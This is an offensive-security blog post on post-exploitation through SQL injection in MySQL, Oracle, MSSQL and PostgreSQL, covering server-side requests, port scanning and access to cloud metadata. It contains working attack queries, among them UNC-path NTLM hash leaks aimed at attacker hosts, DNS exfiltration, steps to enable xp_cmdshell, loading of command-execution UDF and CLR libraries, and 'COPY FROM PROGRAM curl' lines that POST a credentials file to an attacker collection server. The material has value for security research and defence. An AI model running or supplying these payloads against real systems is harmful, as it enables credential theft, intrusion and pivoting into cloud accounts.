A blog post about some post exploitation scenarios with MySQL, MSSQL, PostgreSQL and Oracle that use SQL Injection to make network requests resulting in Server Side Request Forgery/Cross Site Port Attacks.

You can skip to the section that interests you


SQL Injection is a well known, researched and publicized security vulnerability that has been used to attack web apps and steal data from backend databases for multiple decades now. Post exploitation scenarios with SQL Injections commonly lead to, apart from the ability to interact with the database, the ability to read files, write files and sometimes to execute operating system commands.

All modern databases have built-in functions or the ability to create procedures that provide some level of network access. These are used for database related operations, usually to fetch data from a file on a network share or on the Internet or to initiate connections to other servers etc.

As attackers, SQL Injection often provides us the ability to interact with the database and call these functions. Again, these are well documented in a category of data extraction techniques called Out of Band Exploitation where data is exfiltrated through DNS or HTTP channels.

This post highlights functions, packages, methods and techniques in 4 of the most popular RDBMS software - MySQL, MSSQL, PostgreSQL and Oracle, that can be used either via a SQL Injection or via a direct connection to the database to perform network requests resulting in Server Side Request (Forgeries).

Why is this worth the effort again?

Imagine you have found a SQL Injection on a web application on the Internet. DNS records show that this is located on AWS. SQL Injection on a web application on AWS is no different than any other web app. What can you do as part of post exploitation, apart from data exfil?

One of the key things that I personally go after when testing applications on AWS is the potential that the app may allow me to interact with the instance metadata service. There are a lot of cool things you can do, if you get your hands on privileged tokens from the instance generated using an attached IAM role.

As an attacker, one of the ways to move from attacking the application server or the database to attacking the entire AWS infrastructure will require the ability to generate and extract credentials from the instance metadata service. This is often straightforward to do from a vanilla SSRF, but is there a way to do this using a SQL Injection? This blogpost attempts to provide some of the potential ways to make network requests and read them, all using SQL queries, across different database software.

Some assumptions

We have to make some key assumptions here. Although, many of these assumptions may not hold true and you could still perform variations of what is covered in here to make the network requests

  1. The backend database which the application queries and uses as a datastore is not a managed service like RDS or Azure Database. These services do not provide complete access to functions or restrict privileges to database users in such a way that file or network operations are restricted by design. For example, the AWS RDS user does not have the FILE_PRIV although the user appears to have full administrative access to the database.
  2. The database connector being used in the application (and subsequently the database itself) supports stacked (multi) queries. Not a strict requirement per se, but makes life a lot easier if queries can be stacked one after the other. This simply means that using SQL Injection we should be able to run multiple queries using a database query separator, for example: ' or 1 in (SELECT @@version);UPDATE users set user='newuser' where id=5; -- //
  3. Outbound network connectivity is allowed. This is not a strict requirement, especially when your only objective is to use the SQL Injection to access the instance metadata service accessible at

The techniques mentioned in this post can be used via a SQL Injection through a web/network app or by directly connecting to a database server using a client, as only the relevant database functions and approaches are covered. Creating queries or subqueries that will work through an injection point is left to the reader as these are very contextual.


Although different in a lot of ways when it comes to licensing, protocols and security, all three support common functions/techniques that can be used to make server side requests.


Every SQL Out of Band data exfiltration article will use the LOAD_FILE() string function to make a network request. The function itself has its own limitations based on the operating system it is run on and the settings with which the database was started.

For example, if the secure_file_priv global variable was not set, the default value is set to /var/lib/mysql-files/, which means that you can only use functions like LOAD_FILE('filename') or LOAD DATA [LOCAL] INFILE 'filename' INTO TABLE tablename to read files from the /var/lib/mysql-files/ directory. To be able to perform reads on files outside this directory, the secure_file_priv option has to be set to "" which can only be done by updating the database configuration file or by passing the --secure_file_priv="" as a startup parameter to the database service.

Nevertheless, under circumstances where secure_file_priv is set to "", we should be able to read other files on the system, assuming file read perms and file_priv is set to Y in mysql.user for current database user. However, being able to use these functions to make network calls is very operating system dependent. As these functions are built only to read files, the only network relevant calls that can be made are to UNC paths on Windows hosts as the Windows CreateFileA api that is called when accessing a file understands UNC naming conventions.

So if your target database is running on a Windows machine the injection query x'; SELECT LOAD_FILE('\\\\attackerserver.example.com\\a.txt'); -- // would result in the Windows machine sending out NTLMv2 hashes in an attempt to authenticate with the attacker controlled \\attackerserver.example.com.

This Server Side Request Forgery, although useful, is restricted to only TCP port 445. You cannot control the port number, but can read information from shares setup with full read privs. Also, as has been shown with older research, you can use this limited SSRF capability to steal hashes and relay them to get shells, so it’s definitely useful.

Using User Defined Functions

Another cool technique with MySQL databases is the ability to use User Defined Functions (UDF) present in external library files that if present in specific locations or system $PATH then can be accessed from within MySQL.

You could use a SQL Injection to write a library (.so or .dll depending on Linux or Windows), containing a User Defined Function that can make network/HTTP requests, that can be then invoked through additional queries.

This has its own set of restrictions though. Based on the version of MySQL, which you can identify with select @@version, the directory where plugins can be loaded from is restricted. MySQL below v5.0.67 allowed for library files to be loaded from system path if the plugin_dir variable was not set. This has changed now and newer versions have the plugin_dir variable set to something like /usr/lib/mysql/plugin/, which is usually owned by root.

Basically for you to load a custom library into MySQL and call a function from the loaded library via SQL Injection, you would need the

  • ability to write to the location specified in @@plugin_dir via SQL Injection
  • file_priv set to Y in mysql.user for the current database user
  • secure_file_priv set to "" so that you can read the raw bytes of the library from an arbitrary location like the network or a file uploads directory in a web application.

Assuming the above conditions are met, you can use the classical approach of transferring the popular MySQL UDF lib_mysqludf_sys library to the database server. You would then be able to make operating system command requests like cURL or powershell wget to perform SSRF using the syntax

x'; SELECT sys_eval('curl'); -- //

There are a lot of other functions declared in this library, an analysis of which can be seen here. If you are lazy like me, you can grab a copy of this UDF library, for the target OS, from a metasploit installation from the /usr/share/metasploit-framework/data/exploits/mysql/ directory and get going.

Alternatively, UDF libraries have been created to specifically provide the database the ability to make HTTP requests. You can use MySQL User-defined function (UDF) for HTTP GET/POST to get the database to make HTTP requests, using the following syntax

x'; SELECT http_get(''); -- //

You could also create your own UDF and use that for post exploitation as well.

In any case, you need to transfer the library to the database server. You can do this in multiple ways

  1. Use the MySQL hex() string function or something like xxd -p filename.so | tr -d '\n' to convert the contents of the library to hex format and then dumping it to the @@plugin_dir directory using x'; SELECT unhex(0x1234abcd12abcdef1223.....) into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //
  2. Alternatively, convert the contents of filename.so to base64 and use x';select from_base64("AAAABB....") into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //

If the @@plugin_dir is not writable, then you are out of luck if the version is above v5.0.67. Otherwise, write to a different location that is in path and load the UDF library from there using

  • for the lib_mysqludf_sys library - x';create function sys_eval returns string soname 'lib_mysqludf_sys.so'; -- //
  • for the mysql-udf-http library - x';create function http_get returns string soname 'mysql-udf-http.so'; -- //

For automating this, you can use SQLMap which supports the usage of custom UDF via the --udf-inject option.

For Blind SQL Injections you could redirect output of the UDF functions to a temporay table and then read the data from there or use DNS request smuggled inside a sys_eval or sys_exec curl command.


Using Oracle to do Out of Band HTTP and DNS requests is well documented but as a means of exfiltrating SQL data in injections. We can always modify these techniques/functions to do other SSRF/XSPA.

Installing Oracle can be really painful, especially if you want to set up a quick instance to try out commands. My friend and colleague at Appsecco, Abhisek Datta, pointed me to https://github.com/MaksymBilenko/docker-oracle-12c that allowed me to setup an instance on a t2.large AWS Ubuntu machine and Docker.

I ran the docker command with the --network="host" flag so that I could mimic Oracle as an native install with full network access, for the course of this blogpost.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c 

Oracle packages that support a URL or a Hostname/Port Number specification

In order to find any packages and functions that support a host and port specification, I ran a Google search on the Oracle Database Online Documentation. Specifically,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

The search returned the following results (not all can be used to perform outbound network)


This crude search obviously skips packages like DBMS_LDAP (which allows passing a hostname and port number) as the documentation page simply points you to a different location. Hence, there may be other Oracle packages that can be abused to make outbound requests that I may have missed.

In any case, let’s take a look at some of the packages that we have discovered and listed above.


The DBMS_LDAP package allows for access of data from LDAP servers. The init() function initializes a session with an LDAP server and takes a hostname and port number as an argument.

This function has been documented before to show exfiltration of data over DNS, like below

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

However, given that the function accepts a hostname and a port number as arguments, you can use this to work like a port scanner as well.

Here are a few examples

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

A ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. shows that the port is closed while a session value points to the port being open.


The UTL_SMTP package is designed for sending e-mails over SMTP. The example provided on the Oracle documentation site shows how you can use this package to send an email. For us, however, the interesting thing is with the ability to provide a host and port specification.

A crude example is shown below with the UTL_SMTP.OPEN_CONNECTION function, with a timeout of 2 seconds

DECLARE c utl_smtp.connection;
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
DECLARE c utl_smtp.connection;
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);

A ORA-29276: transfer timeout shows port is open but no SMTP connection was estabilished while a ORA-29278: SMTP transient error: 421 Service not available shows that the port is closed.


The UTL_TCP package and its procedures and functions allow TCP/IP based communication with services. If programmed for a specific service, this package can easily become a way into the network or perform full Server Side Requests as all aspects of a TCP/IP connection can be controlled.

The example on the Oracle documentation site shows how you can use this package to make a raw TCP connection to fetch a web page. We can simply it a little more and use it to make requests to the metadata instance for example or to an arbitrary TCP/IP service.

set serveroutput on size 30000;
DECLARE c utl_tcp.connection;
  retval pls_integer; 
  c := utl_tcp.open_connection('',80,tx_timeout => 2);
  retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
  retval := utl_tcp.write_line(c);
      dbms_output.put_line(utl_tcp.get_line(c, TRUE));
    WHEN utl_tcp.end_of_input THEN

DECLARE c utl_tcp.connection;
  retval pls_integer; 
  c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
  retval := utl_tcp.write_line(c);
      dbms_output.put_line(utl_tcp.get_line(c, TRUE));
    WHEN utl_tcp.end_of_input THEN

Interestingly, due to the ability to craft raw TCP requests, this package can also be used to query the Instance meta-data service of all cloud providers as the method type and additional headers can all be passed within the TCP request.

UTL_HTTP and Web Requests

Perhaps the most common and widely documented technique in every Out of Band Oracle SQL Injection tutorial out there is the UTL_HTTP package. This package is defined by the documentation as - The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.

select UTL_HTTP.request('') from dual;

You could additionally, use this to perform some rudimentary port scanning as well with queries like

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

A ORA-12541: TNS:no listener or a TNS:operation timed out is a sign that the TCP port is closed, whereas a ORA-29263: HTTP protocol error or data is a sign that the port is open.

Another package I have used in the past with varied success is the GETCLOB() method of the HTTPURITYPE Oracle abstract type that allows you to interact with a URL and provides support for the HTTP protocol. The GETCLOB() method is used to fetch the GET response from a URL as a CLOB data type.

select HTTPURITYPE('').getclob() from dual;


Microsoft SQL Server provides multiple extended stored procedures that allow you to interact with not only the network but also the file system and even the Windows Registry.

One technique that keeps coming up is the usage of the undocumented stored procedure xp_dirtree that allows you to list the directories in a folder. This stored procedure supports UNC paths, which can be abused to leak Windows credentials over the network or extract data using DNS requests.

If you are able to execute operating system commands, then you could invoke Powershell to make a curl (Invoke-WebRequest) request. You could do this via the hacker favorite xp_cmdshell as well.

Alternatively, you could also use a User Defined Function in MSSQL to load a DLL and use the dll to make the request from inside MSSQL directly.

Let’s look at the above techniques in a little more detail.

Limited SSRF using master..xp_dirtree (and other file stored procedures)

The most common method to make a network call you will come across using MSSQL is the usage of the Stored Procedure xp_dirtree, which weirdly is undocumented by Microsoft, which caused it to be documented by other folks on the Internet. This method has been used in multiple examples of Out of Band Data exfiltration posts on the Internet.


DECLARE @user varchar(100);
SELECT @user = (SELECT user);  
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');

Much like MySQL’s LOAD_FILE, you can use xp_dirtree to make a network request to only TCP port 445. You cannot control the port number, but can read information from network shares. Addtionally, much like any UNC path access, Windows hashes will be sent over to the network that can be captured and replayed for further exploitation.

PS: This does not work on Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) running on a Windows Server 2016 Datacenter in the default config.

There are other stored procedures like master..xp_fileexist etc. as well that can be used for similar results.


The extended stored procedure xp_cmdshell spawns a Windows command shell and executes the string passed to it, returning any rows of text. This command is run as the SQL Server service account.

xp_cmdshell is disabled by default. You can enable it using the SQL Server Configuration Option. Here’s how

EXEC sp_configure 'show advanced options', 1
EXEC sp_configure 'xp_cmdshell', 1
exec master..xp_cmdshell 'whoami'

You could use something like PowerCat, download the Windows port of netcat/ncat, use raw TCP Client for arbitrary ports, or simply invoke Powershell’s Invoke-WebRequest to make HTTP requests to perform Server Side queries.

DECLARE @url varchar(max);
SET @url = '';
exec ('master..xp_cmdshell ''powershell -exec -bypass -c ""(iwr '+@url+').Content""''');

You can additionally pass other headers and change the HTTP method as well to access data on services that need a POST or PUT instead of a GET like in the case of IMDSv2 for AWS or a special header like Metadata: true in the case of Azure or the Metadata-Flavor: Google for GCP.

MSSQL User Defined Function - SQLHttp

It is fairly straightforward to write a CLR UDF (Common Language Runtime User Defined Function - code written with any of the .NET languages and compiled into a DLL) and load it within MSSQL for custom functions. This, however, requires dbo access so may not work unless the web application connection to the database as sa or an Administrator role.

This Github repo has the Visual Studio project and the installation instructions to load the binary into MSSQL as a CLR assembly and then invoke HTTP GET requests from within MSSQL.

The http.cs code uses the WebClient class to make a GET request and fetch the content as specified

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
    public static SqlString http(SqlString url)
        var wc = new WebClient();
        var html = wc.DownloadString(url.Value);
        return new SqlString (html);

In the installation instructions, run the following before the CREATE ASSEMBLY query to add the SHA512 hash of the assembly to the list of trusted assemblies on the server (you can see the list using select * from sys.trusted_assemblies;)

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Once the assembly is added and the function created, we can run the following to make our HTTP requests

DECLARE @url varchar(max);
SET @url = '';
SELECT dbo.http(@url);


Also known as Postgres, is a free and open source RDBMS. This database contains multiple functions and has support to perform network lookups using extensions that can be enabled with superuser rights.

Additionally, Generic File Access functions like pg_read_file() and pg_read_binary_file() exist but cannot be used to read UNC paths or other files as these functions are restricted to read only within the data_directory variable value.

Here are some other ways by which we can invoke network requests from a PostgresSQL server.

Using the COPY function

Postgres supports other ways of interacting with the file system which in the case of Windows servers can be used to make SSRF requests to UNC paths. For example, the COPY command can be used to copy data between a file and table and supports both COPY TO file and COPY FROM.

As an example, you can run copy (select 1) to '/tmp/bb.txt';. This will create a file at /tmp/bb.txt with the content 1. Unfortunately, you cannot use COPY TO to write an extension library to $libdir because the $libdir directory and the database server process is owned by two different users.

However the most interesting use case of the COPY function is its ability to call external programs! Surprisingly, the documentation includes no references to this ability, you can use COPY to invoke an external program like curl for example.

If the returned data from the execution of the program is not properly formatted CSV, it results in import errors. That should not stop us however from executing programs and making requests as we can always send the output of a program to an attacker controlled server and read it through the logs.

To use COPY to do SSRF, we can run the following sequence of commands to setup an empty table (to avoid errors) and then execute cURL to retrieve and send data to a collection server. The collection server is a simple python3 http.server implementation that logs GET and POST variables.

COPY test from PROGRAM 'curl ';
COPY test from PROGRAM 'curl -s -o /tmp/creds';
COPY test from PROGRAM 'curl -F "data=@/tmp/creds" http://attacker-collection-server/';

The collection server logs will show the contents of the /tmp/creds file POSTed from within Postgres

Given that this allows us the execution of cURL in all it’s glory, we can even use this to query the Instance meta-data service of all cloud providers as the method type and additional headers can all be passed as arguments to cURL.

Alternatively, there are documented ways of using COPY FROM to perform NTLM hash leak and to perform Out of Band SQL Injection Exploitation, but I had no luck with that on PostgreSQL 10.13 on a Windows 10.0.18362 box. Obviously, these are supposed to work on Windows boxes as UNC paths are a Windows thing. The queries that should work and leak creds or perform OOBE are shown below

-- can be used to leak hashes to Responder/equivalent
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
DECLARE sqlstring TEXT;
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
SELECT testfunc();

The dblink is a module that supports connections to other PostgreSQL databases from within a database session. It supports numerous functions to open database connections to remote servers and perform actions on them.

Of the functions listed at https://www.postgresql.org/docs/9.6/dblink.html, the dblink_connect_u() stands out from the context of an attacker. According to the documentation, dblink_connect_u() is identical to dblink_connect(), except that it will allow non-superusers to connect using any authentication method.

All functions that support using a connstr string in the function call can be used to set the remote host and port for the database connection. Although, you cannot control the data that is being sent to the remote server, you can identify what ports are open.

To abuse this function to port scan internal servers or servers on the Internet, use the following syntax

CREATE extension dblink; SELECT dblink_connect_u('host=scanme.nmap.org port=22 sslmode=disable');

For open ports, Postgres will respond with the following or a variant of

ERROR:  could not establish connection
DETAIL:  expected authentication request from server, but received S

For closed ports, a message like the following is shown

ERROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
	Is the server running on host "scanme.nmap.org" ( and accepting
	TCP/IP connections on port 5000?
could not connect to server: Network is unreachable
	Is the server running on host "scanme.nmap.org" (2600:3c01::f03c:91ff:fe18:bb2f) and accepting
	TCP/IP connections on port 5000?

The dblink functions are also often used to perform SQL Injection data exfiltration attacks over DNS.

Using custom Extensions

Custom extensions are a very cool way of adding functionality to Postgres. You can create your own extension and add them to Postgres but that involves you writing a standard Makefile, a control file, a library and then placing the library in the Postgres $libdir (which on 10 is at /usr/lib/postgresql/10/lib).

Alternatively, you can write the extension and load it at runtime using CREATE FUNCTION instead of loading it using CREATE EXTENSION.

To build your own custom extension as an attacker, you need, as a bare minimum, a Makefile, a control file and the C program containing the extension code. You will need the header files, the extension build tools and the database cluster manager which can be setup with

sudo apt-get install libpq-dev
sudo apt-get install postgresql-server-dev-all
sudo apt-get install postgresql-common

You can then load a function from the extension using a syntax similar to the following

CREATE OR REPLACE FUNCTION pg_runcmd(cstring) RETURNS int AS '/tmp/extension.so', 'pg_runcmd' LANGUAGE C STRICT;

where pg_runcmd is a C function implemented in extension.so.

I did not have much luck with loading a simple C extension as I kept getting a Extension libraries are required to use the PG_MODULE_MAGIC macro error, even when the C code has the macro present. If any reader can get this working, it would be awesome! The code for an extension that I was trying to write that ought to allow command execution is at https://github.com/riyazwalikar/postgres-runcmd-extension. This is far from complete!

In any case, there are extensions available that allow you to perform HTTP GET, POST and more requests from within the database. A very cool example is https://github.com/pramsey/pgsql-http. This extension uses libcurl to make HTTP requests and supports loads of features with support to make custom requests as well. Here’s an example

SELECT content FROM http_get('');

SELECT content FROM http_get('');

The obvious limitations of this are

  • The pgsql-http extension (or any other extension, unless already present in the $pglibdir according to pg_config) cannot be loaded without them being installed on the system
  • installation requires root shell access
  • you could use the CREATE FUNCTION and the external obj_file path to load a library and call a function in it (much like MySQL UDFs) but I ran into errors that said ERROR: could not lookup 'http' extension oid when calling the function after it was supposedly successfuly created

So for now, run SELECT * FROM pg_available_extensions; to see what extensions are available and use CREATE Extension to load something that you find useful for your usecase. For example, the xml2 extension has been known to be vulnerable to arbitrary file read and writes in the past.

Final thoughts

Server Side Request Forgeries are a fun class of vulnerabilities to exploit and is not restricted only to attacks made through web applications. As seen with the examples covered in this post, SSRF/XSPA can afflict any system where the server makes a network connection to the user provided host (or/and port number). Like the database examples listed above, other categories of software products are also going to be vulnerable if user input is not contextually sanitised.

References, all URLs from the post and further reading